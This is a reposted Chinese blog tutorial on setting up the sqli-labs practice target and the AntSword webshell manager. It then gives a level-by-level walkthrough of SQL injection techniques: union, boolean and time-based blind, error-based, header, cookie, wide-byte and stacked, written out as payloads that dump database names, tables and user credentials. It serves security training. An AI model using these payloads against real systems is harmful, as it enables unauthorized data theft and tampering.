sqli-labs搭建闯关+蚁剑安装

本文阅读 5 分钟
首页 安全分享,WEB安全 正文

目录

资源

sqli-labs

蚁剑

sqli-labs搭建

安装phpstudy

下载

安装

启动

把sqli-labs文件移入到www目录下

​编辑  

打开靶场

搭建靶场

下载phpMyAdmin4.8.5

访问本地E:phpstudy_proWWWsqli-labssql-connections

修改db-creds.inc中的内容

再备份db-creds.inc位db-creds.php

访问localhost/phpMyAdmin4.8.5/

Setup/reset Database for labs

蚁剑安装

解压文件放到目录

执行exe文件

初始化

打开蚁剑

注意

注入手法的选择

选择

less-1(union联合注入)

less-8(布尔盲注)手工

less-8(布尔盲注)爆破

less-9(时间盲注)

less-1(报错注入之updatexml)

less-1(报错注入之extractvalue)

less-11(POST注入)

less-18(UA注入)

less-20(COOKIE注入)

less-33(宽字节注入)

less-38(堆叠注入)

sqli-labs

官方网站: https://github.com/Audi-1/sqli-labs

百度网盘:https://pan.baidu.com/s/12UPUOi2W1AOJb0JjRKoCdQ

提取码:b5bu

蚁剑

官方网站: https://github.com/AntSwordProject/

百度网盘:https://pan.baidu.com/s/1rYE_XwDL6lFjTqLwbXl_gg

提取码:rcvc

安装phpstudy

下载

Windows版phpstudy下载 - 小皮面板(phpstudy)

一般是64位。根据自己电脑版本配置

img

安装

img

等待安装完毕即可

启动

img

把sqli-labs文件移入到www目录下

打开靶场

localhost/sqli-labs

img

搭建靶场

下载phpMyAdmin4.8.5

img

访问本地E:phpstudy_proWWWsqli-labssql-connections

img

修改db-creds.inc中的内容

img

再备份db-creds.inc位db-creds.php

img

访问localhost/phpMyAdmin4.8.5/

注意php版本大于5.5才能启动

root/root登录账号

img

Setup/reset Database for labs

img

解压文件放到目录

img

执行exe文件

img

初始化

img

打开蚁剑

 img

注入手法的选择

联合注入条件

1.需要回显

2.需要两种页面状态

布尔盲注条件

1.需要两种页面状态

时间盲注条件

<li style="text-align:justify;">需要支持sleep()

选择

1.在有回显的,有显示位的情况下,用联合注入最方便,最快捷

2.如果没有回显,但是有返回包页面长度的变化,就用布尔盲注

3.没有回显,没有返回包页面长度的变化,就用时间盲注

1.根据注入位置数据类型将sql注入分类(以localhost/sqli-labs/less-1为例子)

2.利用order判断字段数

Order by x(数字) 正确与错误的正常值 正确网页正常显示,错误网页报错

?id=1' order by 3 ---

3.利用union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数

?id=-1' union select 1,2,3 -- -

4.利用函数database(),user(),version()可以得到所侦测数据库的数据库名,用户名和版本号

?id=-1 union select 1,database(),version() -- -

img

5.利用 union select 联合查询,获取表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- -

img

6.利用 union select 联合查询,获取字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' -- -

img

7.利用 union select 联合查询,获取字段值

?id=-1' union select 1,2,group_concat(username,':',password) from users -- -  

img

1.判断闭合方式

2.判断数据库个数

?id=1' and (select count (schema_name) from information_schema.schemata)=数据库个数(从1开始猜) -- -

img

3.判断第一个数据库字符长度

?id=1' and (select length(schema_name) from information_schema.schemata limit 0,1)=18 -- -

img

4.根据ascii码判断每个库名的具体字符

  ?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105 -- - #可以用>和<判断大概位置

img

5.判断security库中表的个数

?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4-- - 

img

6.判断security库里第一个表名的长度

?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6 -- -

img

7.判断security库里第一个表的第一个字符的ascii值

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 -- -

img

8.判断security.users表的字段个数

?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3-- -

img

9.判断security.users表的第一个字段的长度

?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2 -- -

img

10.判断security.users表的第一个字段的第一个字符的ascii值

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105 -- -

img

11.判断security.users表有多少行数据

?id=1' and (select count(username) from security.users)=13 -- -

img

12.判断user表里的第一行username字段的数据长度

?id=1' and (select length(username) from security.users limit 0,1)=4 -- -

img

13.判断user表里的第一行username字段的第一个字符的ascii值

?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=68-- -

img

?id=1' and substr(database(),1,1)='s' -- -

拦截流量包,右击Send to intruder发送到intruder

img

点击clear

img

选中字母s,点击add

img

点击payloads

img

添加a-z,A-Z,0-9

img

开始爆破 

imgimg

爆破结果

img

爆破成功

1.前端页面没有任何变化

2.时间盲注判断闭合

?id=1' and sleep(5) -- - #延迟5s

?id=1‘' and sleep(5) -- -

?id=1 and sleep(5) -- -

?id=1‘) and sleep(5) -- -

?id=1‘') and sleep(5) -- -

3.注入逻辑

?id=1' and if((database()='security'),sleep(5),1)-- -

img

?id=1' and if(substr((select schema_name from information_schema.schemata limit 0,1),1,1)='i',sleep(3),1)-- -

img

4.爆破数据库名

?id=1' and if(substr((select schema_name from information_schema.schemata limit 0,1),1,1)='a',sleep(3),1)-- -

img

img

?id=1' and if(substr((select schema_name from information_schema.schemata limit 0,1),1,1)='i',sleep(3),1)-- -

img

5.爆破表名

?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(3),1)-- -

img

?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(3),1)-- -

img

6.爆破字段名

?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='a',sleep(3),1)-- -

img

?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(3),1)-- -

img

7.爆破数值

?id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))=1,sleep(3),1)-- -

img

img

img

 ?id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,sleep(3),1)-- - #68是大写字母D

img

1.updatexml()函数

img

XML_document用法

把名为1.xml文档的s更新成S

Updatexml(‘1.xml’,S,s)

2.爆破所有库名

数据库所有库名

img

?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(schema_name),1,31) from information_schema.schemata)),1) -- -#字母限制仅能显示31个

img

?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(schema_name),32,31) from information_schema.schemata)),1) -- -

img

?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(schema_name),63,31) from information_schema.schemata)),1) -- -

img

3.爆破security的表名

Security的所有表名

img

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),0x7e),1)-- -

img

4.查看users表的第三行数据

img

?id=1' and updatexml(1,concat(0x7e,(select concat(username,'~',password) from security.users limit 2,1)),1) -- -

?id=1' and updatexml(1,concat(0x7e,(select concat(username,'~',password) from security.users where id=3)),1) -- -

img

1.原理

img

2.爆破所有库

所有数据库名

img

?id=1’ and extractvalue(1,concat(0x7e,(select database()),0x7e))-- -

?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),1,31) from information_schema.schemata)))-- - #字母限制仅能显示31个

img

?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),32,31) from information_schema.schemata)))-- -

img

?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),63,31) from information_schema.schemata)))-- - 

img

3爆破security的所有表名

Security的所有表名

img

?id=1’ and extractvalue(1,concat(0x7e,( select group_concat(table_name) from information_schema.tables where table_schema=’security’),0x7e))-- -

img

4.查询users的第三行数据

img

?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from security.users where id=3),0x7e))-- -

img

1.send to Repeater

img

2.单引号报错

img

3. 查库名

aadmin' union select user(),database()-- 

img

4.查表名

aadmin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--

img

5.查段名

aadmin' union select 1,group_concat(column_name) from information_schema.columns where table_table='users'--

img

6.查数据

aadmin' union select 1,group_concat(username,':',password) from users --

img

7.用查到的数据Dumb登录 

img

1.爆破当前数据库

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0' and extractvalue(1,concat(0x7e,(select database()),0x7e))||'

img

2.爆破所有表名

-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)||'

img

3.爆破users第三行数据

-1' and updatexml(1,concat(0x7e,(select username from security.users  limit 2,1),0x7e ),1)--'

img

1.爆破库名

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -

img

2.爆破security的表名

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)-- -

img

3.爆破users表中的第三个username

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select concat(username,'~',password) from security.users limit 2,1)),1) -- -

img

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -

img

5.爆破security的表名

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)-- -

img

6.爆破users表中的第三个username

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select concat(username,'~',password) from security.users limit 2,1)),1) -- -

img

1.爆破当前数据库

?id=-1%df' union select 1,2,updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -

img

2.爆破所有表名

?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -

?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479-- - #security=0x7365637572697479

img

3.爆破第三行数据

?id=-1%df' union select 1,2,concat(username,password) from security.users limit 2,1-- -

img

?id=1';insert into users(id,username,password) values ('16','admin5','123456')-- - 

?id=1';insert into users(id,username,password) values ('16','admin5','123456')-- -

img

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/m0_63127854/article/details/124992719
-- 展开阅读全文 --
BUUCTF Web [极客大挑战 2019]Knife
« 上一篇 06-24
安全面试之XSS(跨站脚本攻击)
下一篇 » 07-24

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复